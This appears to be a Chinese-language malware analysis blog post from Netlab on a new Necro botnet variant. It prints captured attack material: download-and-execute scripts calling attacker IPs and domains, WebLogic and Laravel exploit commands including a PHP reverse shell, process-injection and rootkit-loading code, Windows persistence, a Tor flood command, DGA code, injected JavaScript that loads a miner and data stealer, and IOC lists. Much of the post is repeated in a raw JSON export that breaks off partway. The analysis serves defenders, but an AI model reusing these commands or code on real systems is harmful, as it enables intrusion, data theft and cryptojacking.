   wget http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; busybox wget http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; curl http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; busybox curl http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; ftpget -v -u anonymous -p anonymous -P 21 45.145.185.83 IObeENwjx64 IObeENwjx64; busybox ftpget -v -u anonymous -p anonymous -P 21 45.145.185.83 IObeENwjx64 IObeENwjx64; chmod 777 IObeENwjx64; ./IObeENwjx64; rm -f  IObeENwjx64
   ...
   export ARGS="-o 45.145.185.83:9050"
   export LINE="[ ! -f /tmp/.apid ] && echo > /tmp/.apid;./.1/sshd $ARGS  >> /dev/null;./.2/sshd $ARGS >> /dev/null &"
   echo "$LINE" > ./.backup.sh
   curl http://45.145.185.83/xmrig1 -O
   wget http://45.145.185.83/xmrig1 -O xmrig1
   mkdir ./.1;mv -f xmrig1 ./.1/sshd
   ...
   chmod +x ./.backup.sh;
   sh ./.backup.sh &
   exit
   
   
   
   
   其中malware.sh脚本用于下载并执行新版本的Necro，内容如下所示：
   
   
   #pkill -9 python
   wget http://45.144.225.96/benchmark.py -O benchmark.py
   python benchmark.py || python2 benchmark.py || python2.7 benchmark.py || /usr/bin/python benchmark.py || /usr/bin/ python2 benchmark.py || /usr/bin/ python2.7 benchmark.py
   
   

 * 
   
   
   WebLogic RCE (CVE-2020-14882)
   
   
   该漏洞有2个exploits,分别针对Linux和Windows系统。
   
   
   1. 针对Linux系统的exploit使用了bash，它会同时下载并执行Necro（setup.py）和挖矿程序。
   
   
   cd /tmp||cd $(find / -writable -readable -executable | head -n 1);php -r "file_put_contents(\\".setup\\", file_get_contents(\\"http://DOMAIN/setup\\"));";curl http://DOMAIN/setup -O;wget http://DOMAIN/setup -O .setup;chmod 777 .setup;./.setup;php -r "file_put_contents(\\".setup.py\\", file_get_contents(\\"http://DOMAIN/setup.py\\"));";curl http://DOMAIN/setup.py -O;wget http://DOMAIN/setup.py -O .setup.py;chmod 777 .setup.py;./.setup||python2 .setup.py||python .setup.py||./setup.py;DIR=`pwd`;ARGS="-o DOMAIN:9050";LINE="[ ! -f $DIR/.pidfile ] && echo > $DIR/.pidfile;$DIR/.1/sshd $ARGS||$DIR/.2/sshd $ARGS >> /dev/null||./sshd $ARGS >> /dev/null &";cd $DIR;echo "$LINE" > $DIR/.backup.sh;curl http://DOMAIN/xmrig1 -O||wget http://DOMAIN/xmrig1 -O xmrig1;mkdir $DIR/.1;mv -f xmrig1 $DIR/.1/sshd;chmod 777 $DIR/.1/sshd;curl http://DOMAIN/xmrig -O||wget http://DOMAIN/xmrig -O xmrig;mkdir $DIR/.2;mv -f xmrig $DIR/.2/sshd;chmod 777 $DIR/.2/sshd;chmod +x $DIR/.backup.sh;$DIR/.backup.sh
   
   
   
   2. 针对Windows平台的exploit使用了Powershell，它会先下载打包好的Pyhton2.7可执行环境（py.exe）,然后下载并执行Necro（setup.py）
   
   
   "@powershell -NoProfile -ExecutionPolicy unrestricted -Command \"(New-Object System.Net.WebClient).DownloadFile('http://DOMAIN/py.exe', 'python.exe'); (New-Object System.Net.WebClient).DownloadFile('http://DOMAIN/setup.py', 'setup.py');\" & .\python.exe setup.py
   
   



攻击Windows系统


从上面的分析可知有些WebLogic服务器是运行在Windows操作系统上的，KekSec团伙显然对这些主机也很感兴趣。样本启动后如果检测到底层操作系统为Windows则会把py.exe复制到USERPROFILE\\$6829.exe，代码如下图所示：


if os.name == 'nt':
    try:
        sys.argv[1]
    except IndexError:
        subprocess.Popen(GetCommandLine() + " 1", creationflags=8, close_fds=True)
        os.kill(os.getpid(),9)
    ehVfvaRFGMNE = CreateMutex(None, False, ehVfvaRFGMNE)
    if GetLastError() == ERROR_ALREADY_EXISTS:
       os.kill(os.getpid(),9)
    if os.path.abspath(sys.argv[0]).lower().endswith('.exe') and not os.path.abspath(sys.argv[0]).lower().endswith('$6829.exe'):
        try:
            shutil.copyfile(os.path.abspath(sys.argv[0]), os.getenv('USERPROFILE') + '\\$6829.exe')
            os.startfile(os.getenv('USERPROFILE') + '\\$6829.exe')
            os.kill(os.getpid(),9)
        except:
            pass
    else:




然后Necro会根据平台选择下载一个名为x86.dll 或 x64.dll的文件：


        try:
            shutil.copyfile(sys.executable, os.getenv('USERPROFILE') + '\\$6829.exe')
        except:
            pass
    try:
        if platform.architecture()[0].replace("bit","") == "32":
            eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x86.dll').read())
        else:
            eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x64.dll').read())
        threading.Thread(target=oFHPQFcppV, args=(eZazkoBSoXlO,)).start()
    except:
        pass



这个dll文件对应一个开源的Rootkit项目 r77-rootkit，根据项目描述它能全面隐藏特定进程：


r77 is a ring 3 Rootkit that hides following entities from all processes:

Files, directories, named pipes, scheduled tasks
Processes
CPU usage
Registry keys & values
TCP & UDP connections
It is compatible with Windows 7 and Windows 10 in both x64 and x86 editions.



接下来Necro会使用一段shellcode采用进程注入的方式加载这个rootkit，这段代码来自另一个开源项目sRDI，shellcode的使用如下：


    # 把rootkit和shellcode组装在一起
    ...
       gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4)
        gwObVdGd += b'\x00\x00\x00'
        gwObVdGd += b'\x48\x89\xf4'
        gwObVdGd += b'\x5e'
        gwObVdGd += b'\xc3'
        if len(gwObVdGd) != ObianOdA:
            raise Exception('x64 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))
        return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyWo
    else:
    ...
        gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4) # Skip over the remainder of instructions
        gwObVdGd += b'\x00\x00\x00'
        gwObVdGd += b'\x83\xc4\x14'
        gwObVdGd += b'\xc9'
        gwObVdGd += b'\xc3'
        if len(gwObVdGd) != ObianOdA:
            raise Exception('x86 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))
        return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyW
    
    # 注入进程
     FfyiMaCpdR = windll.kernel32.OpenProcess(0x1F0FFF, False, UjyuiVGyhiD)
    if not FfyiMaCpdR:
        cJaQhosf -= 1
        return
    llvOMLUBC = windll.kernel32.VirtualAllocEx(FfyiMaCpdR, 0, len(eZazkoBSoXlO), 0x00001000, 0x40)
    windll.kernel32.WriteProcessMemory(FfyiMaCpdR, llvOMLUBC, eZazkoBSoXlO, len(eZazkoBSoXlO), 0)
    if not windll.kernel32.CreateRemoteThread(FfyiMaCpdR, None, 0, llvOMLUBC, 0, 0, 0):



最后Necro会注册自启动项到SOFTWARE\Microsoft\Windows\CurrentVersion\Run:


        if os.name == 'nt':
            try:
                aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
                aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
                SetValueEx(aKey,'System explore',0, REG_SZ, os.getenv('USERPROFILE') + '\\$6829.exe ' + os.path.r)
                windll.kernel32.SetFileAttributesW(os.getenv('USERPROFILE') + '\\$6829.exe', FILE_ATTRIBUTE_HIDDEN)
            except:
                pass




使用Tor通信


因为在Gafgyt_tor中已经见过KekSec团伙使用Tor来隐藏真实C2，所以我们对新版的Necro支持Tor并不感到意外。令我们意外的是Necro居然集成了一种基于Tor代理DDoS攻击方法。


Tor C2通信代码如下，能看到其中集成了多个Tor代理的IP和端口。


try:
    import socks
except:
    f=open('socks.py', "w")
    f.write(urllib2.urlopen('https://raw.githubusercontent.com/mikedougherty/SocksiPy/master/socks.py').read())
    f.close()
    try:
        import socks
    except:
        exit(1)
    try:
        os.remove('socks.py')
        os.remove('socks.pyc')
    except:
        pass
server_list = ['192.248.190.123:8017', '192.248.190.123:8001', '88.198.82.11:9051', '52.3.115.71:9050', '185.117.154.207:443', '199.19.224.116:9050', '188.166.34.137:9000', '161.97.71.22:9000', '54.161.239.214:9050', '144.91.74.241:9080', '201.40.122.152:9050', '194.5.178.150:666', '83.217.28.46:9050', '8.210.163.246:60001', '35.192.111.58:9221', '127.0.0.1:9050']
...
self.onionserver='faw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion'
self.AJEwioE='#freakyonionz'
self.Ajiowfe='FUCKWHITEHATZ'
...




新加入的DDoS攻击方法 torflood的代码如下：


            elif CjoRjhoMj[3]==":" + self.cmdprefix + 'torflood':
                try:
                    import socks
                except:
                   ...
                        self.commSock.send('PRIVMSG %s :Unable to initilize socks module.\n' % (MZqyBxdoS))
                for i in range(0, int(CjoRjhoMj[7])):
                    threading.Thread(target=self.XoReERalPae,args=(CjoRjhoMj[4],CjoRjhoMj[5],int(CjoRjhoMj[6]),)).start()
                self.commSock.send('PRIVMSG %s :Started Tor HTTP flood on URL: %s with %s threads\n' % (MZqyBxdoS,CjoRjhoMj[4],CjoRjhoMj[7]))





子域名DGA+动态域名


新版Necro更新了DGA机制，采用DGA生成子域名，然后配合动态域名生成最终的C2域名。从代码里我们可以看到候选的动态域名服务高达30个。


zMuBHdcdB=0
while zMuBHdcdB < 0xcc:
    zMuBHdcdB+=1
    random.seed(a=0x7774DEAD + zMuBHdcdB)
    RaRdhjkniVY=(''.join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(random.randrange(10,19)))).lower()
    RaRdhjkniVY+="."+random.choice(['ddns.net','ddnsking.com','3utilities.com','bounceme.net','freedynamicdns.net','freedynamicdns.org','gotdns.ch','hopto.org','myddns.me','myftp.biz','myftp.org','myvnc.com','onthewifi.com','redirectme.net','servebeer.com','serveblog.net','servecounterstrike.com','serveftp.com','servegame.com','servehalflife.com','servehttp.com','serveirc.com','serveminecraft.net','servemp3.com','servepics.com','servequake.com','sytes.net','viewdns.net','webhop.me','zapto.org'])
    print RaRdhjkniVY



我们监测到有9个域名已经启动，从解析记录看有些域名绑定了IPv6地址：


2021-03-09 10:50:50     2021-03-12 16:10:45     ntxkg0la99w.zapto.org   
2021-03-12 08:19:49     2021-03-12 08:19:49     xxdqj6xbjpkzhk7k.servemp3.com      
2021-03-12 10:35:11     2021-03-12 10:35:11     qb7opowcawiagia.viewdns.net     
2021-03-12 08:46:28     2021-03-12 08:46:28     v5jke3mv89fjvxgd.serveftp.com   
2021-03-12 14:59:54     2021-03-12 14:59:54     nwpzhm8ziyhdzm.redirectme.net   
2021-03-12 03:12:07     2021-03-12 03:12:07     m1afommgsdowkmegc.redirectme.net   
2021-03-12 04:56:47     2021-03-12 04:56:47     ewmhkvdcoj3.servemp3.com        
2021-03-12 08:38:17     2021-03-12 08:38:17     tfcxvcg0lkc9vpx.myftp.org       
2021-03-12 06:48:19     2021-03-12 06:48:19     bdcauhuzk0d.viewdns.net 




JS挂马


Necro的挂马功能主要目的是在Web页面嵌入挖矿代码，这意味着当终端用户使用手机、PC或是其它设备浏览失陷设备（包括服务器和NAS设备）的相关Web页面时，可能沦为矿机并泄露敏感信息。


            elif CjoRjhoMj[3]==":" + self.cmdprefix + 'injectcount':
                self.commSock.send('PRIVMSG %s :I have injected into %s files total\n' % (MZqyBxdoS, self.AkvElneS))
            elif CjoRjhoMj[3]==":" + self.cmdprefix + 'reinject':
                threading.Thread(target=self.OLkEqimhli).start()
                self.commSock.send('PRIVMSG %s :Re-injecting all html and js files\n' % (MZqyBxdoS))



Necro会先遍历被感染设备指定目录的'*.js', '*.html', '*.htm', '*.php'文件，寻找注入目标：


if os.name != "nt":
            self.AkvElneS=0
            for fkEoBpoAxpZc in [ele for ele in os.listdir("/") if ele not in ['proc', "bin", 'sbin', 'sbin', "dev", "lib", 'lib64', 'lost+found', "sys", 'boot', "etc"]]:
                for hfHpWZSupopK in ['*.js', '*.html', '*.htm', '*.php']:
                    for oGADwYHVg in os.popen("find \"/" + fkEoBpoAxpZc + "\" -type f -name \"" + hfHpWZSupopK + "\"").read().split("\n"):
                        oGADwYHVg = oGADwYHVg.replace("\r", "").replace("\n", "")
                        if 'node' not in oGADwYHVg and 'lib' not in oGADwYHVg and "npm" not in oGADwYHVg and oGADwYHVg != "":
                            self.chLYewdc(oGADwYHVg)



一旦找到目标，Necro就会向文件中插入一段代码：


MnPbIqasMz=open(oGADwYHVg,"rb")
            mkkzygnopRnB=MnPbIqasMz.read()
            MnPbIqasMz.close()
            fPSqTAZGgcep = kdYaxMPRdP(8)
            OGipqKBSmmTb = kdYaxMPRdP(8)
            hgOlaeQcQza = b64encode("//" + self.injectCOxhTEJfB + '/campaign.js')
            fwEiSidxlgH='(function(' + OGipqKBSmmTb + ", " + fPSqTAZGgcep + ") {" + fPSqTAZGgcep + " = " + OGipqKBSmmTb + ".createElement('script');" + fPSqTAZGgcep + ".type = 'text/javascript';" + fPSqTAZGgcep + '.async = true;' + fPSqTAZGgcep + ".src = atob('" + IoMfNcaVcJL + hgOlaeQcQza + IoMfNcaVcJL + "'.replace(/" + IoMfNcaVcJL + "/gi, '')) + '?' + String(Math.random()).replace('0.','');" + OGipqKBSmmTb + ".getElementsByTagName('body')[0].appendChild(" + fPSqTAZGgcep + ');}(document));'
           ...
            else:
                if oGADwYHVg.endswith(".js"):
                    if 'var ' in mkkzygnopRnB:
                        mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, 'var ', fwEiSidxlgH + 'var ', 1)
                        self.AkvElneS+=1
                        wQARXUaaF = True
                else:
                    if '</body' in mkkzygnopRnB:
                        mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, '</body', '<script type=' + '"' + 'text/javascript' + '"' + ">" + fwEiSidxlgH + '</script></body', 1)
                        self.AkvElneS+=1
                        wQARXUaaF = True
            if wQARXUaaF:
                MnPbIqasMz=open(oGADwYHVg, "wb")



被感染的页面会多出如下代码：


(function(v2, v1) {
    v1 = v2.createElement('script');
    v1.type = 'text/javascript';
    v1.async = true;
    v1.src = atob('UUIDLy91YmxvY2stcmVmZXJlci5kZXYvY2FtcGFpZ24uanM=UUID'.replace(/UUID/gi, '')) + '?' + String(Math.random()).replace('0.', '');
    v2.getElementsByTagName('body')[0].appendChild(v1);
}(document));



这一小段代码会链接到一个脚本 hxxp[:]//ublock-referer.dev/campaign.js 。通过我们的WebInsight可以看到最近1周内有300+网站被Necro感染。


campaign.js 是一个高度混淆的javascript代码，在VT上的检测率为0：


代码使用了两层混淆，解码后发现它同样源自一个开源项目Cloud9，不同的是把原始版本的exploit功能去掉了，修改了部分代码的逻辑和接口名，加入了挖矿的功能。


修改后的Bot主要有三部分功能：


 * 挖矿：所有访问失陷网站的用户，浏览器都会加载一个挖矿js脚本：hxxps[:]//cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.xmr2
 * 用户信息窃取：代码会监控unload/beforeunload/popstate/pagehide 4个事件，然后通过如下两个接口上报数据





对应接口
功能




/l.php
上报键盘记录


/f.php
上报表单数据





 * 执行指令：用户访问失陷网站的过程中，会通过 “/api.php” 接口上报一般性信息，并获取指令。一次可以获取多个指令，对应功能如下：





指令
功能
接口




cookie
上报cookie信息
/c.php


clipboard
上报剪切板信息
/cb.php


view
会通过加载iframe来实时加载任意链接内容



post
会向目标post指定内容



floodpost
会向目标周期性post指定内容用以达到DDoS的效果



load
会通过周期性添加Image对象并请求指定资源链接来达到DDoS效果



antiddos
会通过周期添加iframe，并在加载目标链接后添加随机数字串来和抗D对抗



layer4
会周期性向目标post指定长度范围的随机内容（DDoS）



jack
通过iframe来加载指定内容，并能指定大小，并设定根据窗口改变来调整位置



eval
通过eval方法来执行任意代码



md5/sha1
通过指定的长度范围和码表来进行hash爆破，成功后上报
/h.php










对应的C2还是hxxp[:]//ublock-referer.dev/，根据被攻陷的网站的协议做http/https兼容：


master = window["location"]["protocol"] + "//ublock-referer.dev";
APIKey = "callbackScript";



网址hxxps[:]//ublock-referer.dev还用来下载恶意的FireFox插件ublock_referer-1.0.0-an+fx.xpi，插件使用的代码正是上述Javascript Bot Cloud9。



代码混淆算法


新版Necro放弃了原来简单的变量名替换算法，自己实现了一个简单的基于抽象语法树AST的代码变形算法，实现了对象名称的全完随机化，且混淆的代码覆盖度更高，结果就是新版的Necro样本VT检出率为0。


dDojPSRD=open(ULTiBINyz,"rb")
     CFiLMBZFoL=YuvmSyETZ=dDojPSRD.read()
     dDojPSRD.close()
     p = ast.parse(CFiLMBZFoL)
     MiaFfQWZhb().visit(p)
     for caSZxzOdnbhJ in sorted(mdSaCUFhqM, key=len, reverse=True):
        ...
     EqDdlmuEhx = [node.name for node in ast.walk(p) if isinstance(node, ast.ClassDef)]
     joPNpGTbcn = sorted({node.id for node in ast.walk(p) if isinstance(node, ast.Name) and not isinstance(node.ctx, ast.Load)})
     for mFVUeqoHs in [n for n in p.body if isinstance(n, ast.FunctionDef)]:
         aPpaAZnhc.append(mFVUeqoHs.name)
     EqDdlmuEhx = [node for node in ast.walk(p) if isinstance(node, ast.ClassDef)]
     for ubhohFYJDo in EqDdlmuEhx:
         for mFVUeqoHs in [n for n in ubhohFYJDo.body if isinstance(n, ast.FunctionDef)]:
             if mFVUeqoHs.name != '__init__' and mFVUeqoHs not in aPpaAZnhc:
                 aPpaAZnhc.append(mFVUeqoHs.name)
     ...
     hkaxeZCocag=open(ULTiBINyz,"wb")




小结


从Necro被发现以来，我们就一直持续关注并跟踪这一僵尸网络，并关联到背后的KekSec团伙，发现了他们更多的攻击Linux设备的活动。未来我们会继续关注Necro及其团伙，有新的发现将及时公开。



IOC


 * Tor C2


faw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion



 * Download URL


http://ntxkg0la99w.zapto.org/setup.py
http://kek.gay/benchmark.py
http://kek.gay/x86.dll
http://kek.gay/x64.dll
http://kek.gay/xmrig1.py
http://kek.gay/xmrig1
http://kek.gay/py.exe



 * JS Miner/Bot 相关


https://cloud-miner.de/*
https://ublock-referer.dev/*



 * Tor Proxy


77.238.128.166:9050
192.248.190.123:8017
192.248.190.123:8009
213.251.238.186:9050
178.62.242.15:9107
88.198.82.11:9051
52.3.115.71:9050
83.217.28.46:9050
147.135.208.44:9095
188.166.34.137:9000
103.233.206.22:179
161.97.71.22:9000
54.161.239.214:9050
194.5.178.150:666
144.91.74.241:9080
134.209.230.13:8080
201.40.122.152:9050
206.81.27.29:8080
127.0.0.1:9050


{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"##版权\n版权声明：本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。"}],["markdown",{"markdown":"## 概述\n\n自从我们1月份公开[Necro](__GHOST_URL__/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/)后不久，它就停止了传播，但从3月2号开始，BotMon系统检测到Necro再次开始传播。蜜罐数据显示本次传播所用的漏洞除了之前的TerraMaster RCE（CVE_2020_35665）和Zend RCE (CVE-2021-3007)，又加入了两个较新的漏洞Laravel RCE  (CVE-2021-3129)和WebLogic RCE (CVE-2020-14882)，蜜罐相关捕获记录如下图所示。"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/exp_scan_trend_20k-1.png"}],["markdown",{"markdown":"通过样本分析我们发现在沉寂一个月之后新版本的Necro有了较大改动，功能进一步加强，体现在：\n1. 开始攻击Windws系统，并在Windows平台上使用Rootkit隐藏自身。\n2. 更新了DGA机制，采用“子域名DGA+动态域名”的方法生成C2域名。\n3. C2通信支持Tor，同时加入了一种新的基于Tor的DDoS攻击方法。\n4. 能针对特定Linux目标传播[Gafgyt_tor](__GHOST_URL__/tor-bld/)。\n5. 能篡改受害机器上的Web服务页面，实现浏览器挖矿，窃取用户数据，并将失陷网站用户的浏览器变为bot打DDoS攻击、做hash爆破等。\n\n本月初我们公开过[Gafgyt_tor](__GHOST_URL__/tor-bld/)，并指出它与Necro来自同一团伙，即所谓的Keksec团伙。从时间上看，他们在Necro之后开始传播Gafgyt_tor，但也在同步更新Necro，增加新的特性，完整的功能如下图所示。"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/necro_attack_flow-1.png"}],["markdown",{"markdown":"值得说明的是，我们先后见过2种新版本的样本，分别采用Tor C2和“子域名DGA+动态域名”生成的C2域名，说明新版本也是在不断更新的,符合Necro作者一贯的风格：边分发边升级。下面我们分别从传播、C2通信和攻击等各个维度对新版样本进行分析。"}],["markdown",{"markdown":"## 样本分析\n\n\n### 扫描和传播\n\n* Laravel RCE  (CVE-2021-3129)\n\n  该漏洞的exploit使用了反向shell的方式先下载一个bash脚本，如下图所示：\n\n  ```python\n  ZCgAMCXTa='php -r \\'$sock=fsockopen(\"'+self.YxqCRypO+'\",9999);$proc=proc_open(\"/bin/sh -i\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);\\''\n          ZCgAMCXTa=ZCgAMCXTa.replace('/', '\\/')\n  ```\n\n  下载到的bash脚本功能如下：\n  1. 下载并执行另一个脚本`malware.sh`。\n  2. 下载并执行[Gafgyt_tor](__GHOST_URL__/tor-bld/)。\n  3. 下载并执行挖矿程序。\n  \n  下面是我们捕获到一个bash脚本：\n  ```\n  wget http://kek.gay/malware.sh -O malware.sh\n  sh malware.sh\n  rm -f malware.sh\n  cd /tmp || cd /home/$USER || cd /var/run || cd $(busybox find / -writable -readable -executable | head -n 1) || cd /mnt || cd / ;\n  wget http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; busybox wget http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; curl http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; busybox curl http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; ftpget -v -u anonymous -p anonymous -P 21 45.145.185.83 IObeENwjx64 IObeENwjx64; busybox ftpget -v -u anonymous -p anonymous -P 21 45.145.185.83 IObeENwjx64 IObeENwjx64; chmod 777 IObeENwjx64; ./IObeENwjx64; rm -f  IObeENwjx64\n  ...\n  export ARGS=\"-o 45.145.185.83:9050\"\n  export LINE=\"[ ! -f /tmp/.apid ] && echo > /tmp/.apid;./.1/sshd $ARGS  >> /dev/null;./.2/sshd $ARGS >> /dev/null &\"\n  echo \"$LINE\" > ./.backup.sh\n  curl http://45.145.185.83/xmrig1 -O\n  wget http://45.145.185.83/xmrig1 -O xmrig1\n  mkdir ./.1;mv -f xmrig1 ./.1/sshd\n  ...\n  chmod +x ./.backup.sh;\n  sh ./.backup.sh &\n  exit\n  \n  ```\n  \n  其中malware.sh脚本用于下载并执行新版本的Necro，内容如下所示：\n  \n  ```\n  #pkill -9 python\n  wget http://45.144.225.96/benchmark.py -O benchmark.py\n  python benchmark.py || python2 benchmark.py || python2.7 benchmark.py || /usr/bin/python benchmark.py || /usr/bin/ python2 benchmark.py || /usr/bin/ python2.7 benchmark.py\n  ```\n  \n\n* WebLogic RCE (CVE-2020-14882)\n  \n\n  该漏洞有2个exploits,分别针对Linux和Windows系统。\n\n  1. 针对Linux系统的exploit使用了bash，它会同时下载并执行Necro（setup.py）和挖矿程序。\n\n  ```bash\n  cd /tmp||cd $(find / -writable -readable -executable | head -n 1);php -r \"file_put_contents(\\\\\".setup\\\\\", file_get_contents(\\\\\"http://DOMAIN/setup\\\\\"));\";curl http://DOMAIN/setup -O;wget http://DOMAIN/setup -O .setup;chmod 777 .setup;./.setup;php -r \"file_put_contents(\\\\\".setup.py\\\\\", file_get_contents(\\\\\"http://DOMAIN/setup.py\\\\\"));\";curl http://DOMAIN/setup.py -O;wget http://DOMAIN/setup.py -O .setup.py;chmod 777 .setup.py;./.setup||python2 .setup.py||python .setup.py||./setup.py;DIR=`pwd`;ARGS=\"-o DOMAIN:9050\";LINE=\"[ ! -f $DIR/.pidfile ] && echo > $DIR/.pidfile;$DIR/.1/sshd $ARGS||$DIR/.2/sshd $ARGS >> /dev/null||./sshd $ARGS >> /dev/null &\";cd $DIR;echo \"$LINE\" > $DIR/.backup.sh;curl http://DOMAIN/xmrig1 -O||wget http://DOMAIN/xmrig1 -O xmrig1;mkdir $DIR/.1;mv -f xmrig1 $DIR/.1/sshd;chmod 777 $DIR/.1/sshd;curl http://DOMAIN/xmrig -O||wget http://DOMAIN/xmrig -O xmrig;mkdir $DIR/.2;mv -f xmrig $DIR/.2/sshd;chmod 777 $DIR/.2/sshd;chmod +x $DIR/.backup.sh;$DIR/.backup.sh\n  ```\n\n  2. 针对Windows平台的exploit使用了Powershell，它会先下载打包好的Pyhton2.7可执行环境（py.exe）,然后下载并执行Necro（setup.py）\n\n  ```powershell\n  \"@powershell -NoProfile -ExecutionPolicy unrestricted -Command \\\"(New-Object System.Net.WebClient).DownloadFile('http://DOMAIN/py.exe', 'python.exe'); (New-Object System.Net.WebClient).DownloadFile('http://DOMAIN/setup.py', 'setup.py');\\\" & .\\python.exe setup.py\n  ```\n\n\n### 攻击Windows系统\n\n从上面的分析可知有些WebLogic服务器是运行在Windows操作系统上的，KekSec团伙显然对这些主机也很感兴趣。样本启动后如果检测到底层操作系统为Windows则会把py.exe复制到`USERPROFILE\\\\$6829.exe`，代码如下图所示：\n\n```python\nif os.name == 'nt':\n    try:\n        sys.argv[1]\n    except IndexError:\n        subprocess.Popen(GetCommandLine() + \" 1\", creationflags=8, close_fds=True)\n        os.kill(os.getpid(),9)\n    ehVfvaRFGMNE = CreateMutex(None, False, ehVfvaRFGMNE)\n    if GetLastError() == ERROR_ALREADY_EXISTS:\n       os.kill(os.getpid(),9)\n    if os.path.abspath(sys.argv[0]).lower().endswith('.exe') and not os.path.abspath(sys.argv[0]).lower().endswith('$6829.exe'):\n        try:\n            shutil.copyfile(os.path.abspath(sys.argv[0]), os.getenv('USERPROFILE') + '\\\\$6829.exe')\n            os.startfile(os.getenv('USERPROFILE') + '\\\\$6829.exe')\n            os.kill(os.getpid(),9)\n        except:\n            pass\n    else:\n\n```\n\n然后Necro会根据平台选择下载一个名为`x86.dll` 或 `x64.dll`的文件：\n\n```python\n        try:\n            shutil.copyfile(sys.executable, os.getenv('USERPROFILE') + '\\\\$6829.exe')\n        except:\n            pass\n    try:\n        if platform.architecture()[0].replace(\"bit\",\"\") == \"32\":\n            eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x86.dll').read())\n        else:\n            eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x64.dll').read())\n        threading.Thread(target=oFHPQFcppV, args=(eZazkoBSoXlO,)).start()\n    except:\n        pass\n```\n\n这个dll文件对应一个开源的Rootkit项目 [r77-rootkit](https://github.com/bytecode77/r77-rootkit)，根据项目描述它能全面隐藏特定进程：\n```\nr77 is a ring 3 Rootkit that hides following entities from all processes:\n\nFiles, directories, named pipes, scheduled tasks\nProcesses\nCPU usage\nRegistry keys & values\nTCP & UDP connections\nIt is compatible with Windows 7 and Windows 10 in both x64 and x86 editions.\n```\n\n\n\n接下来Necro会使用一段shellcode采用进程注入的方式加载这个rootkit，这段代码来自另一个开源项目[sRDI](https://github.com/monoxgas/sRDI/blob/master/Python/ShellcodeRDI.py)，shellcode的使用如下：\n\n```python\n    # 把rootkit和shellcode组装在一起\n    ...\n       gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4)\n        gwObVdGd += b'\\x00\\x00\\x00'\n        gwObVdGd += b'\\x48\\x89\\xf4'\n        gwObVdGd += b'\\x5e'\n        gwObVdGd += b'\\xc3'\n        if len(gwObVdGd) != ObianOdA:\n            raise Exception('x64 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))\n        return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyWo\n    else:\n    ...\n        gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4) # Skip over the remainder of instructions\n        gwObVdGd += b'\\x00\\x00\\x00'\n        gwObVdGd += b'\\x83\\xc4\\x14'\n        gwObVdGd += b'\\xc9'\n        gwObVdGd += b'\\xc3'\n        if len(gwObVdGd) != ObianOdA:\n            raise Exception('x86 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))\n        return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyW\n    \n    # 注入进程\n     FfyiMaCpdR = windll.kernel32.OpenProcess(0x1F0FFF, False, UjyuiVGyhiD)\n    if not FfyiMaCpdR:\n        cJaQhosf -= 1\n        return\n    llvOMLUBC = windll.kernel32.VirtualAllocEx(FfyiMaCpdR, 0, len(eZazkoBSoXlO), 0x00001000, 0x40)\n    windll.kernel32.WriteProcessMemory(FfyiMaCpdR, llvOMLUBC, eZazkoBSoXlO, len(eZazkoBSoXlO), 0)\n    if not windll.kernel32.CreateRemoteThread(FfyiMaCpdR, None, 0, llvOMLUBC, 0, 0, 0):\n```\n\n\n最后Necro会注册自启动项到`SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run`:\n\n```python\n        if os.name == 'nt':\n            try:\n                aReg = ConnectRegistry(None,HKEY_CURRENT_USER)\n                aKey = OpenKey(aReg, r\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\", 0, KEY_WRITE)\n                SetValueEx(aKey,'System explore',0, REG_SZ, os.getenv('USERPROFILE') + '\\\\$6829.exe ' + os.path.r)\n                windll.kernel32.SetFileAttributesW(os.getenv('USERPROFILE') + '\\\\$6829.exe', FILE_ATTRIBUTE_HIDDEN)\n            except:\n                pass\n```\n\n\n\n### 